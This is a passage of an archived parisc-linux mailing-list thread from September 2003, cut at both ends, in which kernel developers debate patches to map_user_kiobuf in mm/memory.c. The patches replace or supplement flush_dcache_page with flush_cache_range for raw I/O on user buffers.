	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Sep 2003 19:22:11 -0600 (MDT)
Original-Received: (from davem@localhost)
	by pizda.ninka.net (8.9.3/8.9.3) id SAA15943;
	Thu, 25 Sep 2003 18:08:48 -0700
In-Reply-To: <20030925142623.GO13172@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19604

On Thu, 25 Sep 2003 15:26:23 +0100
Matthew Wilcox <willy@debian.org> wrote:

> I think you're right.  flush_dcache_page is for page cache pages, not for
> random user addresses.  Would something like this make sense?

The flush_dcache_page() is needed in case the platform has deferred
the flushing for a kernel cpu store to a page cache page.

You cannot just delete this call and replace it with a flush_cache_range()
call, that simply won't work.


From - Thu Nov 08 21:29:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel error message.
Date: Fri, 26 Sep 2003 00:03:29 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20030926070329.GA12671@tausq.org>
References: <35989.192.168.66.99.1064533174.squirrel@www.zinkens.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622806 31533 80.91.229.3 (22 Nov 2014 02:20:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: mlist@zinkens.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 26 00:58:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id B387B483E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Sep 2003 00:58:57 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id B2028CD2F8; Fri, 26 Sep 2003 00:03:29 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <35989.192.168.66.99.1064533174.squirrel@www.zinkens.net>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19605

In reference to a message from mlist@zinkens.net, dated Sep 26:
> i keep getting about ten a day of these messages in the /var/log/kern.log
> file. can anyone tell me whats going on, and point me in the right
> direction  to fix it? thanks.
> some info on my hard/software:

Your apache is crashing randomly :( I think mkp said he was seeing this
problem as well and was trying to debug it.

thanks,
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:29:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Santosh Abraham" <santosha@india.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Fwd:  Problems with raw interface.
Date: Fri, 26 Sep 2003 16:12:07 +0530
Lines: 117
Approved: news@gmane.org
Message-ID: <001201c3841a$d5be9900$e5624c0f@india.hp.com>
References: <20030925142623.GO13172@parcelfarce.linux.theplanet.co.uk>
Reply-To: <santosh.abraham@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622807 31535 80.91.229.3 (22 Nov 2014 02:20:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:07 +0000 (UTC)
Cc: "'Randolph Chung'" <randolph@tausq.org>,
	<parisc-linux@lists.parisc-linux.org>,
	"'Stephen C. Tweedie'" <sct@redhat.com>
To: "'Matthew Wilcox'" <willy@debian.org>,
	"'David S. Miller'" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 26 04:42:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7FEFA483E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Sep 2003 04:42:18 -0600 (MDT)
Original-Received: from redsea.india.hp.com (redsea.india.hp.com [15.76.97.3])
	by atlrel8.hp.com (Postfix) with ESMTP
	id D7BC51C01B20; Fri, 26 Sep 2003 06:42:13 -0400 (EDT)
Original-Received: from eb98229 (eb98229.india.hp.com [15.76.98.229])
	by redsea.india.hp.com (8.9.3 (PHNE_28810)/8.9.3 SMKit7.02) with SMTP id QAA16900;
	Fri, 26 Sep 2003 16:20:55 +0530 (IST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
In-Reply-To: <20030925142623.GO13172@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19606

A call to flush_cache_range(), before the call to flush_dcache_page ()
would fix the problem. I tested this a couple of days back,
but called flush_user_dcache_range () instead of flush_cache_range(), and
our apps seemed to work fine.

flush_cache_range () calls flush_user_dcache_range () internally.
(i am aware that flush_user_dcache_range () is not an exported
interface, but I urgently needed to get our apps working ).

Would the following be acceptable ?
------------------------------------------------------------------------
*** mm/memory.c.orig       Fri Nov 29 07:51:13 2002
--- mm/memory.c    Fri Sep 26 15:56:02 2003
***************
*** 570,578 ****
        }
        iobuf->nr_pages = err;
        while (pgcount--) {
!               /* FIXME: flush superflous for rw==READ,
!                * probably wrong function for rw==WRITE
                 */
                flush_dcache_page(iobuf->maplist[pgcount]);
        }
        dprintk ("map_user_kiobuf: end OK\n");
--- 570,595 ----
        }
        iobuf->nr_pages = err;
        while (pgcount--) {
!               struct page *page;
!
!               page = iobuf->maplist[pgcount];
!
!               /*
!                * flush_dcache_page () calls flush_cache_page () internally
!                * in certain cases.  This check is an attempt to avoid
!                * spurious cache flushes.
                 */
+
+               if (!page->mapping) {
+                       unsigned long start = va + (pgcount * PAGE_SIZE);
+                       unsigned long end   = va + ((pgcount+1) *
PAGE_SIZE);
+
+                       /* Strictly not necessary, perhaps ? */
+                       if (end > va+len) {
+                               end = va+len;
+                       }
+                       flush_cache_range (mm, start, end);
+               }
                flush_dcache_page(iobuf->maplist[pgcount]);

-----------------------------------------------------------------------

Does the order of the calls to flush_cache_range ()/flush_dcache_page()
matter ?

Also, what would be the effect on other platforms ?


-----Original Message-----
From: willy@www.linux.org.uk [mailto:willy@www.linux.org.uk]On Behalf Of
Matthew Wilcox
Sent: Thursday, September 25, 2003 7:56 PM
To: santosh.abraham@hp.com
Cc: 'Randolph Chung'; parisc-linux@lists.parisc-linux.org; Stephen C.
Tweedie; David S. Miller
Subject: Re: [parisc-linux] Fwd: Problems with raw interface.


On Thu, Sep 25, 2003 at 04:49:21PM +0530, Santosh Abraham wrote:
>
> hmm.. why is map_user_kiobuf () calling flush_dcache_page () then ?
> should it not be calling flush_cache_{range,page} ?
>
> map_user_kiobuf () called from the raw I/O path should ,in the
> write case, be flushing user data out, so that its visible to
> the kernel VA.

I think you're right.  flush_dcache_page is for page cache pages, not for
random user addresses.  Would something like this make sense?

Index: mm/memory.c
===================================================================
RCS file: /var/cvs/linux-2.4/mm/memory.c,v
retrieving revision 1.24
diff -u -p -r1.24 memory.c
--- linux-2.4/mm/memory.c 29 Nov 2002 02:21:13 -0000      1.24
+++ linux-2.4/mm/memory.c 25 Sep 2003 14:22:42 -0000
@@ -569,12 +569,7 @@ int map_user_kiobuf(int rw, struct kiobu
                return err;
        }
        iobuf->nr_pages = err;
-       while (pgcount--) {
-               /* FIXME: flush superflous for rw==READ,
-                * probably wrong function for rw==WRITE
-                */
-               flush_dcache_page(iobuf->maplist[pgcount]);
-       }
+       flush_cache_range(mm, va, va + len);
        dprintk ("map_user_kiobuf: end OK\n");
        return 0;
 }

I deleted the comment because it's not correct ;-)  The kernel is about
to access these pages.  Any existing cache for the contents of those pages
must now be invalidated if the kernel's about to write to it, and must be
written back if the kernel's about to read from it.  flush_cache_range()
must already have these properties otherwise munmap() wouldn't work.

--
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead
bodies.
Do you think I want to have an academic debate on this subject?" -- Robert
Fisk



From - Thu Nov 08 21:29:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd:  Problems with raw interface.
Date: Fri, 26 Sep 2003 03:34:58 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20030926033458.68dbb768.davem@redhat.com>
References: <20030925142623.GO13172@parcelfarce.linux.theplanet.co.uk>
	<001201c3841a$d5be9900$e5624c0f@india.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622807 31541 80.91.229.3 (22 Nov 2014 02:20:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:07 +0000 (UTC)
Cc: santosha@india.hp.com, willy@debian.org, randolph@tausq.org,
	parisc-linux@lists.parisc-linux.org, sct@redhat.com
To: <santosh.abraham@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 26 04:50:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7353D483E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Sep 2003 04:50:10 -0600 (MDT)
Original-Received: (from davem@localhost)
	by pizda.ninka.net (8.9.3/8.9.3) id DAA18576;
	Fri, 26 Sep 2003 03:34:59 -0700
In-Reply-To: <001201c3841a$d5be9900$e5624c0f@india.hp.com>
X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19607

1) Please use unified diffs when you post patches.

2) If you insist on using Microsoft Outlook when posting patches
   at least configure it properly when doing so.  By default it is
   going to turn tabs into spaces and that makes the patch corrupt
   and unusable by anyone.

2) Your patch is unacceptable because it is taking advantage
   of internal implementation details of flush_dcache_page()
   on parisc64 that might not (and in fact, is not) be true
   on other platforms.


From - Thu Nov 08 21:29:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd:  Problems with raw interface.
Date: Fri, 26 Sep 2003 12:24:00 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20030926112400.GA24824@parcelfarce.linux.theplanet.co.uk>
References: <20030925105005.GX16872@tausq.org> <000801c38356$dea5cda0$e5624c0f@india.hp.com> <20030925142623.GO13172@parcelfarce.linux.theplanet.co.uk> <20030925180848.2763911b.davem@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622807 31545 80.91.229.3 (22 Nov 2014 02:20:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:07 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, santosh.abraham@hp.com,
	randolph@tausq.org, parisc-linux@lists.parisc-linux.org,
	sct@redhat.com
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 26 05:24:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id DCA0F486E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Sep 2003 05:24:01 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A2qhc-0006VV-6S; Fri, 26 Sep 2003 12:24:00 +0100
Content-Disposition: inline
In-Reply-To: <20030925180848.2763911b.davem@redhat.com>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19608

On Thu, Sep 25, 2003 at 06:08:48PM -0700, David S. Miller wrote:
> On Thu, 25 Sep 2003 15:26:23 +0100
> Matthew Wilcox <willy@debian.org> wrote:
> 
> > I think you're right.  flush_dcache_page is for page cache pages, not for
> > random user addresses.  Would something like this make sense?
> 
> The flush_dcache_page() is needed in case the platform has deferred
> the flushing for a kernel cpu store to a page cache page.

But this isn't a page cache page.

> You cannot just delete this call and replace it with a flush_cache_range()
> call, that simply won't work.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd:  Problems with raw interface.
Date: Fri, 26 Sep 2003 04:20:29 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20030926042029.1cdd77e9.davem@redhat.com>
References: <20030925105005.GX16872@tausq.org>
	<000801c38356$dea5cda0$e5624c0f@india.hp.com>
	<20030925142623.GO13172@parcelfarce.linux.theplanet.co.uk>
	<20030925180848.2763911b.davem@redhat.com>
	<20030926112400.GA24824@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622808 31549 80.91.229.3 (22 Nov 2014 02:20:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:08 +0000 (UTC)
Cc: willy@debian.org, santosh.abraham@hp.com, randolph@tausq.org,
	parisc-linux@lists.parisc-linux.org, sct@redhat.com
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 26 05:33:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id D2589483E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Sep 2003 05:33:57 -0600 (MDT)
Original-Received: (from davem@localhost)
	by pizda.ninka.net (8.9.3/8.9.3) id EAA19037;
	Fri, 26 Sep 2003 04:20:29 -0700
In-Reply-To: <20030926112400.GA24824@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19609

On Fri, 26 Sep 2003 12:24:00 +0100
Matthew Wilcox <willy@debian.org> wrote:

> On Thu, Sep 25, 2003 at 06:08:48PM -0700, David S. Miller wrote:
> > The flush_dcache_page() is needed in case the platform has deferred
> > the flushing for a kernel cpu store to a page cache page.
> 
> But this isn't a page cache page.

Are you sure?  Isn't raw I/O allowed on user buffers backed by
some kind of file based mmap()?


From - Thu Nov 08 21:29:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Santosh Abraham" <santosha@india.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Fwd:  Problems with raw interface.
Date: Fri, 26 Sep 2003 17:17:34 +0530
Lines: 38
Approved: news@gmane.org
Message-ID: <001801c38423$fb443960$e5624c0f@india.hp.com>
References: <20030926112400.GA24824@parcelfarce.linux.theplanet.co.uk>
Reply-To: <santosh.abraham@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622808 31551 80.91.229.3 (22 Nov 2014 02:20:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:08 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "'Matthew Wilcox'" <willy@debian.org>,
	"'David S. Miller'" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 26 05:47:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0F665483E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Sep 2003 05:47:41 -0600 (MDT)
Original-Received: from redsea.india.hp.com (redsea.india.hp.com [15.76.97.3])
	by palrel12.hp.com (Postfix) with ESMTP
	id 540AE1C01861; Fri, 26 Sep 2003 04:47:37 -0700 (PDT)
Original-Received: from eb98229 (eb98229.india.hp.com [15.76.98.229])
	by redsea.india.hp.com (8.9.3 (PHNE_28810)/8.9.3 SMKit7.02) with SMTP id RAA21804;
	Fri, 26 Sep 2003 17:26:23 +0530 (IST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
In-Reply-To: <20030926112400.GA24824@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19610

The flush_dcache_page () might be required in cases when the
same user buffer is being used for both reads and writes in an
alternating fashion, right ?

-----Original Message-----
From: willy@www.linux.org.uk [mailto:willy@www.linux.org.uk]On Behalf Of
Matthew Wilcox
Sent: Friday, September 26, 2003 4:54 PM
To: David S. Miller
Cc: Matthew Wilcox; santosh.abraham@hp.com; randolph@tausq.org;
parisc-linux@lists.parisc-linux.org; sct@redhat.com
Subject: Re: [parisc-linux] Fwd: Problems with raw interface.


On Thu, Sep 25, 2003 at 06:08:48PM -0700, David S. Miller wrote:
> On Thu, 25 Sep 2003 15:26:23 +0100
> Matthew Wilcox <willy@debian.org> wrote:
>
> > I think you're right.  flush_dcache_page is for page cache pages, not
for
> > random user addresses.  Would something like this make sense?
>
> The flush_dcache_page() is needed in case the platform has deferred
> the flushing for a kernel cpu store to a page cache page.

But this isn't a page cache page.

> You cannot just delete this call and replace it with a flush_cache_range()
> call, that simply won't work.

--
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead
bodies.
Do you think I want to have an academic debate on this subject?" -- Robert
Fisk



From - Thu Nov 08 21:29:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Stephen C. Tweedie" <sct@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd:  Problems with raw interface.
Date: 26 Sep 2003 12:57:01 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <1064577420.4227.0.camel@sisko.scot.redhat.com>
References: <20030925105005.GX16872@tausq.org>
	 <000801c38356$dea5cda0$e5624c0f@india.hp.com>
	 <20030925142623.GO13172@parcelfarce.linux.theplanet.co.uk>
	 <20030925180848.2763911b.davem@redhat.com>
	 <20030926112400.GA24824@parcelfarce.linux.theplanet.co.uk>
	 <20030926042029.1cdd77e9.davem@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622808 31555 80.91.229.3 (22 Nov 2014 02:20:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:08 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, santosh.abraham@hp.com,
	randolph@tausq.org, parisc-linux@lists.parisc-linux.org,
	Stephen Tweedie <sct@redhat.com>
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 26 05:58:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sisko.scot.redhat.com (82-41-9-220.cable.ubr02.edin.blueyonder.co.uk [82.41.9.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3384E483E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Sep 2003 05:58:02 -0600 (MDT)
Original-Received: from sisko.scot.redhat.com (localhost [127.0.0.1])
	by sisko.scot.redhat.com (8.12.8/8.12.8) with ESMTP id h8QBv39T008415;
	Fri, 26 Sep 2003 12:57:03 +0100
Original-Received: (from sct@localhost)
	by sisko.scot.redhat.com (8.12.8/8.12.8/Submit) id h8QBv1fJ008413;
	Fri, 26 Sep 2003 12:57:01 +0100
X-Authentication-Warning: sisko.scot.redhat.com: sct set sender to sct@redhat.com using -f
In-Reply-To: <20030926042029.1cdd77e9.davem@redhat.com>
X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19611

Hi,

On Fri, 2003-09-26 at 12:20, David S. Miller wrote:

> Are you sure?  Isn't raw I/O allowed on user buffers backed by
> some kind of file based mmap()?

Yes, it is.

--Stephen



From - Thu Nov 08 21:29:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd:  Problems with raw interface.
Date: Fri, 26 Sep 2003 04:48:41 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20030926044841.29ecb672.davem@redhat.com>
References: <20030925105005.GX16872@tausq.org>
	<000801c38356$dea5cda0$e5624c0f@india.hp.com>
	<20030925142623.GO13172@parcelfarce.linux.theplanet.co.uk>
	<20030925180848.2763911b.davem@redhat.com>
	<20030926112400.GA24824@parcelfarce.linux.theplanet.co.uk>
